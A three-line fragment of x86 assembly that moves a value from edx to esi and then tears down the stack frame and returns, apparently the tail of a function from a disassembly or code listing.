mov esi, edx
leave
ret